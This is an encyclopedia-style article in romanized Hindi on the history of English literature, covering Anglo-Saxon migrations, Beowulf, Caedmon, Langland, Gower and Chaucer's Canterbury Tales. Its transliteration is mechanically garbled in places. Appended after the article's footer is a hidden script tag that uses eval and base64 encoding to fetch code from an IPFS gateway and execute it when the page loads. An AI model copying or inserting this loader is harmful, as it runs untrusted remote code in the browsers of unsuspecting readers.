आंग्ल नॉरमन साहित्य

aangl-n aauraman sahity roman vijay ke bahut pahale aryoan ke kuchh praranbhik kabile ianglaiand ke dakshin evan dakshin pashchim bhagoan mean bas chuke the. in kabiloan mean pahale to g aaul tatha braitan ae, phir roman ae. tatpashchath‌ saiksan aur den ae aur aant mean n aaurman ae.

itihas se hamean logoan ke sthanaantaran ki katha maloom p dati hai. in sthanaantaranoan ke anek karan haian, lekin phir bhi ham unhean dhooandhane ka prayatn karate haian aur vishleshan ke bad ham aise tathy pate haian jinaki vyakhya nahian ki ja sakati. jo log shatabdiyoan se ek sthan par sukh du:kh jhelate hue rahate ae haian ve achanak vichitr akaankshaoan se prerit hokar b de-b de paha doan, tivragami nadiyoan aur viran registanoan ko par karane ke lie katibaddh ho jate haian. isake pichhe arthik evan bhaugolik (rritu sanbandhi) karan haian, kiantu kuchh aur bhi batean haian jo inase bhinn haian. changej khaan ki bhaanti ek b da neta uth kh da hota hai aur logoan mean ek naya josh ka daur a jata hai. unamean asthirata ho jati hai. ve apane purane gharoan mean baithai-baithai kupit aur vichalit ho uthate haian.

yahi bat jarmanik kabile ke sath ghati thi. ve yoddha the. ve lanbe t dage, chaudi haddiyoan tatha nili aankhoan vale kroor vyakti the. ve roman sainyadal ke viruddh loha lete rahe tatha shatabdiyoan ke kathin sangram ke bad, aant mean, roman pratiraksha ke kavach ko bhedate hue samast pashchimi yoorop mean phail ge.

ye bhayankar vijeta tarangoan ki bhaanti apane sunasan aur uja d gharoan se bahar ki or pashchim ke hare bhare sansar mean a nikale. jinhoanne unaka pratirodh kiya ve nasht ho ge aur jinhoanne unake prabhutv ko svikar kiya ve ya to das the ya ganvar. isake turant bad apani lanbi kali navoan par savar hokar iangalish chainal namak kshubdh jalarekha ko unhoanne par kiya aur shyenaksh kaptanoan ke netritv mean uttari sagar mean bhi age badhe. phir, vishesh narasanhar ke pashchath‌ ianglaiand ki us janata par adhikar jamaya jo romanoan ke ane ke bad yatr-tatr b di asahay sthiti mean rah gee thi. ve dakshin ke samriddh bhagoan mean, vahaan ke mool nivasiyoan ko mar bhagakar, ja base.

bhayanak aur hiansr hote hue bhi ve vyavaharat:apane mean ek doosare ke prati kaphi nishthavanh‌ the. striyoan ke prati samman ki bhavana rakhate the. vastut: saiksan gharoan mean striyoan ko bahut si suvidhaean prapt thian aur is sthiti ko badalane mean sadiyaan lag geean.

saiksan bhoosvamiyoan ka jivan anyadeshiy vir yug ke bhoosvamiyoan ke jivan ke paryapt saman tha. sayankal jab kabiloan ke saradar bhavanoan mean baithakar moti rotiyaan maans ke sath khate rahate the, usi samay charan ate aur prachin viroan yatha vidisith aur biyoulph ki gathaean gakar sunate the. biyoulph ek shaktishali yoddha tha jo sahasik abhiyanoan ka anveshi tha. raja rathagar ka vah kripapatr bana, kyoanki un dinoan usaki riyasat graiden namak daity se akraant thi. isaka koee sahityik saushthav nahian tha, kiantu isamean ek shakti aur abhivyakti ki kshamata thi tatha adim manavoan ke guhachitroan ki si spashtata thi. homar yug ki apeksha isamean adhik praranbhikata thi. vany hiansak kalpana hote hue bhi isamean yatr tatr bauddhik (stoik) poornata thi. saiksan jati ka yah vastavik chitr mana ja sakata hai-us jati ka jo svabhav se manahoos aur kroorata se chihnit thi, jo hans bhi nahian sakati thi. ve sabhi apane desh ki aandhakarayam thandi shit rrituoan ki yad dilate haian. biyodalph tatha bidasith donoan us jati ki mahanh‌ gathaean haian jinamean kalaantar mean anek prakshipt aansh ju date ge aant mean eesakal mean likhit roop mean ae. isilie isapar eesaee bhavanaoan ka halka rang chadha hua hai.

kiantu pratham aangl - saiksan lekhak hai es sadhu, kedaman. usaki kavitaean baibil se anoodit haian. lekin usamean paryapt svachchhandata barati gee hai, kyoanki kedaman svayan latini bhasha se anabhijn tha.

is samay jo bhasha vikasit huee thi aur jise ham aangl-saiksan kahate haian vah jarmanik bhasha thi jo vastav mean joots aur phrilaiandars kabiloan ki bhasha se tho di hi bhinn thi. keltik bhasha tatha latini aur girajagharoan ki latini ke sanpark mean ane par hi isamean kuchh parivartan hua aur shighr hi isaki sanshleshanatmak visheshataoan ko sthan dena aranbh hua. isamean mool dhatuean to jyoan ki tyoan rah gee, kiantu up sargadi badalane aranbh ho ge.

aangl-saiksan sahity kavitaoan se samriddh tha jinamean se adhikatar maukhik hone ke karan nasht ho ge aur kuchh kal ke thape doan mean bah ge, kiantu bachi khuchi kavitaean apani visheshataoan ka parichay deti haian. isamean keval bhavyata thi, chhand sanbandhi usake prayog balaghatayukt evan shleshatmak hote the. isamean yogik shabdoan ka prayog hota tha. kiantu isamean ek durlabh spashtata evan sadagi vartaman thi, yadyapi vah gitimayata evan bhavyata se rahit hoti thi.

aangl - saiksanoan ka apana kuchh gady sahity bhi tha. yah mukhyat: tathyakathan ke roop mean tha aur raja alaphred mahanh‌ ki kritiyaan bhi isamean sammilit thian. sanh‌ 1066 mean ek ghatana ghati jisane ianglaiand ke bhagy ko badal diya. vijeta viliyam, jo narmanoan ka saradar tatha moolat: jarmanik kabile ka tha, apane bandhuoan se vilag ho gaya, kyoanki unhoanne latini sanskriti apana li thi. at: vah samane aya aur ianglaiand ki jit liya. inaki bhasha n aaurman-phreanch thi aur lagabhag 14vian sadi ke aant tak phraansisi kulinoan evan rajadarabaroan ki bhasha bani rahi. 15vian sadi bad tak adhikatar aangrej, jo sanyukt roop se us samay n aaurman aur saiksan the, phraansisi tatha aangreji donoan ka upayog karate the.

1300 se 1400 tak aangreji bhasha mean anek tvarit parivartan hue. asabhyoan evan badamashoan ki bhasha se badalakar yah parliyameant ki bhasha bani aur aant mean elijabeth yug ke poorv mean hue mahanh‌ kavi ch aausar ki bhi yahi bhasha thi. ch aausar ko nishchit roop se kuchh sahityik roopoan ko aantim akar dene ka shrey hai, yadyapi ye roop kisi n kisi roop mean vartaman the. ch aausar ne koee nee bhasha nahi gadhi, keval landan ki bhasha par apani niji chhap laga di.

ch aausar-poorv-padyoan ki tithi nishchit karana kathin hai. unamean se kuchh to paandulipiyoan ke roop mean vitarit kie ge the aur kuchh smriti evan maukhik path ke adhar par chal rahe the. isase koee itana soch sakata hai ki ye pady adhikatar 13vian sadi mean aur mukhyat: us sadi ke uttarardh mean likhe ge the. kabhi kabhi ham usake apratyashit sauandary ke ek git mean ashcharyajanak tajagi ka anubhav karate haian. jaise-

Summer is a comen in londe sing cuckoo

(koyal gati hai ki dharati par grishm a raha hai)

kuchh to aangl-saiksan kalpana ke nibi d aandhakar se bilakul hi bhinn haian. yahi kuchh aisi vastu hai jo n aaurmanoan ne ianglaiand ko di-vah tha jivanollas aur thi nirikshan evan moolyaankan ki kshamata. keltik kalpana tatha rahasyavad se saiksan ritibaddhata aur ghanatv ka mel aur phir n aaurmanoan ki jivan ke shivatatvoan ke prati premabhavana ka anulep-yahi kuchh aisi chijean haian jo ianglaiand ke sahity ko itana mahanh‌ bana deti haian. yah sab kuchh bahut nishpran roop mean aya hai, phir bhi isamean aangrejoan ke svabhav ke ve pramukh gun abhivyakt haian jo unake sahity mean pratibianbit hote haian.

n aaurmanoan tatha saiksanoan ke parasparik vilayan ki praranbhik avastha mean donoan ke sahity kuchh ek doosare se prithakh‌ the athava kaha ja sakata hai ki b de bhadde taur par mile the. kiantu viliyan ke poorn hone ke turant bad hi kaphi sankhya mean lanbi kavitaean likhi gee. purani keltik gathaean ,jo raja arthar se sanbandhit thian, phraansisi bhasha mean mahanh‌ arthar sanbandhi svachchhandatavadi sahity ban gee. sar gavayan aur 'harit yoddha' (grin nait) jaisi romani athava 'moti' jaisi suandar komal vishay vastuvali evan karoonapoorn kavitaean padhakar koee bhi yah anubhav karata hai ki in kavitaoan ke, visheshat: arthar sanbandhi romani kathaoan ke madhyam se ek ne dhang ki rashtriyata abhivyakt ki ja rahi hai. raja arthar ek rashtranayak ka roop dharan kar leta hai. keval raja arthar ke dhuandhale rashtranayakatv mean hi ham komalata evan gaharaee ki bhavana se otaprot nahian hote balki richard rol ke gitoan mean bhi ham ek nee jiandadili grahan kar sakate haian. richard rol ianglaiand ke madhyakalin rahasyavadiyoan mean sabase b da tha. vah 1350 mean chal basa.

adhikaansh lekhak uttar ke athava marasiya ke the. kiantu ab ham landan ke abhyuday ka dhanyavad die bina n raheange. landan ki bhasha pramukh ho chali aur yahaan in kaviyoan ke nam ullekhaniy samajhe jaeange: laiglaiand, govar aur ch aausar. ye sabhi samasamayik the. yadyapi laiglaiand adhik vayask tha, tathapi vah govar aur ch aausar se adhikatar milata raha hoga, kyoanki landan us samay alp vistrit aur ghani abadivala pradesh tha. kavi ke roop mean laiglaiand ne bahut kuchh khoya. usaki maulik pratibha evan mahanata lupt ho chuki thi, kyoanki jan p data hai, usaki paandulipiyaan bahut hathoan mean p di, isase kavitaoan ke maulik roop nasht ho ge aur ab koee bahut daksh sanpadak hi unako aantim shuddh roop dene ki asha kar sakata hai, kyoanki dhyanapoorvak padhane par yah spasht ho jata hai ki kavi apani rachanaoan mean sarvagapoorn tha aur un punarooktiyoan aur vyarth ki kavitvahin panktiyoan se sarvatha rahit tha jinhean bad ko logoan ne jo d diya tha.

doosara dosh yah tha ki usane aangl-saiksan chhandoan ko, usaki shleshatmakata aur balaghat ke sath grahan kar liya tha. usane aisa bahut kam anubhav kiya ki aangl-saiksan bhasha ki prachin visheshataean mritapray ho rahi thian isalie bhasha ki roopasajja mean apatat: parivartan avashyak tha. aur yadi unaka sahity aj utana nahian padha jata jitana padha jana chahie (kyoanki roodhivadi avaran ke sath usamean tikshn vyangy hai), to usaka karan keval unake chhand haian jo pathakoan ko apani samany pahuanch ke bahar pratit hote haian. unaki shleshatmakata mean gati bharane aur gaurav lane ki shakti nahian hai.

govar mean hamean aisi kavyatmakata ka darshan hota hai jo tho di ganbhir hai. latini, phraansisi aur aangreji, tinoan mean isaki achchhi gati thi. dhyan dene yogy mukhy bat yah hai ki vah apani hi matribhasha aangreji mean, jo ki us samay in tinoan mean sabase ashakt thi, vishvast nahian pratit hota hai. yadyapi isaki aangreji shaili ch aausar ki bhaanti prasad evan lalityapoorn nahian hai to bhi saral hai aur yadi vah 'naitik' dharanaoan se tho da bahut grast hota to vaisi hi achchhi rachanaean de sakata tha.

phir bhi ch aausar ka ek alag hi sansar tha. vah shayad laiglaiand se bahut chhota tha, kiantu lagata hai ki vah ek alag hi duniya mean rahata tha. laiglaiand ek utprerit madhyakalin kavi tha aur ch aausar mean adhunik sahity ki pahali vastavik avaj thi. sachamuch yah ek dirgh prashikshanakal tha jisamean usane phraansisi pady ke paranparagat svachchhandatavad ka anusaran kiya. phraansisi kaviyoan, yatha jyaan d myuang, gilem d laris (Jean de Mung, Gullame de Lorris) ko anoodit kiya. bokashiyo petrark aur daante jaise mahanh‌ italiy sahityakoan ke path par chala. kiantu in aupacharik rachanaoan mean bhi kuchh aisi batean thian jo kavi ki bhavi mahanata prakat karati thian. keval itana hi nahian tha ki vah phraansisi pady ke namoone par ath matraoanvale pady saralatapoorvak gadh leta tha balki yatr tatr kisi prakar ka nirikshan athava bianb yah bhi batate the ki age kaun si chij vikasit honevali hai. lekin kaiantarabari tels ki bhaanti moolyavanh‌ samagri inamean aprapy thi. yah adhunik kal ki sarvapratham pramanik chij thi. usaka ek aansh hi kavi ki pratibha ka dyotak hai. kaiantarabari ki tirthayatra ke lie yatriyoan ki ek dal mean ikatthe hone jaisi ek samany ghatana bahut sadharan si pratit hoti hai, jo madhyakalin aangrej tirthayatriyoan ke lie svabhavik bhi thi, kiantu aise vishay ka yah ek suandar chayan tatha utkrisht kala ka udaharan hai. keval ek hi jhoanke mean ch aausar ne madhyakalin ianglaiand ke jivan ka ek mahatvapoorn aansh lekar aur usamean svabhavikata tatha natakiyata ka niyojan karate hue adhunik yugin dhang se use apani nirali shaili mean udghatit kiya.

isamean ch aausar ne b da bhavy sansar chitrit kiya hai. in tirthayatriyoan mean aise stri puroosh haian jo apani ek sachchi pratikriti (taip) rakhate haian aur ve svayan apane ap bhi vaisi hi dridhata ke sath sachche haian. yah ek adarsh mishran hai jisamean sammanit yoddha, sushila priyores (Prioress), chalak chikitsak bath ki bahuvivahita vachal patni, bahas karanevala 'rasoiya', nich aphasar (riv), badamash, ghrinit 'samman tamil karanevala', 'mast phrayar' athava aksen phord ka klark, sachche vishvas se dipt ni:srit udvaveg, sabhi ghule mile haian. vaividhy ka kitana suandar samanjasy hai jo samast madhyakalin ianglaiand ke samaj ko aisi spashtata ke sath chitrit karata hai jo sadaiv amar rahega.

ch aausar ki saphalata ke kaun se karan haian? uttar mean kaha jaega, usaki mahanh‌ pratibha. kiantu mahanh‌ pratibha ek b da golamol shabd hai. isamean asankhy gunoan ka samavesh hai jo har nee pidhi ke mahanh‌ pratibha sanbandhi gunoan ki kalpana se ekadam usi roop mean mel nahian khate. mahanh‌ pratibha apani kiranean bhavishy ke garbh mean pheankati hai aur usaka sandesh is bhaanti sanpreshit hota hai ki log use poore taur se samajh nahi pate. isalie ch aausar ne apane samasamayikoan ke viparit janata ki bhasha apanaee, kiantu ne chhand ka chunav janaruchi se viparit tha. usane sarvapratham phraansisi kaviyoan ka anukaran kiya aur ath matravali dvipadiyoan ko saralatapoorvak likha. kiantu use maloom tha ki yah aangreji ke anukool nahian p data, kyoanki is prakar ki laghu map phraansisi bhasha ki pratibhaoan ke hi anukool hai, aur kyoanki usaki dhvani mean sanbaddhata tatha ek svar ke lop ka adhiky hai. kiantu aangl-saiksan prishthabhoomi ke nate aangreji mean gati lane ke lie kuchh adhik sthan ki avashyakata rahati hai. ch aausar ne peantamitar namak chhand diya jo aangreji pady ki b di upalabdhi hai.

n aaurmanoan or saiksanoan ka parasparik vilayan sarvapratham ch aausar mean hi parilakshit hota hai. vastut: yahi aangreji ka adikavi haian jisane us kal ki nee bhasha aangreji mean apane git gae.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>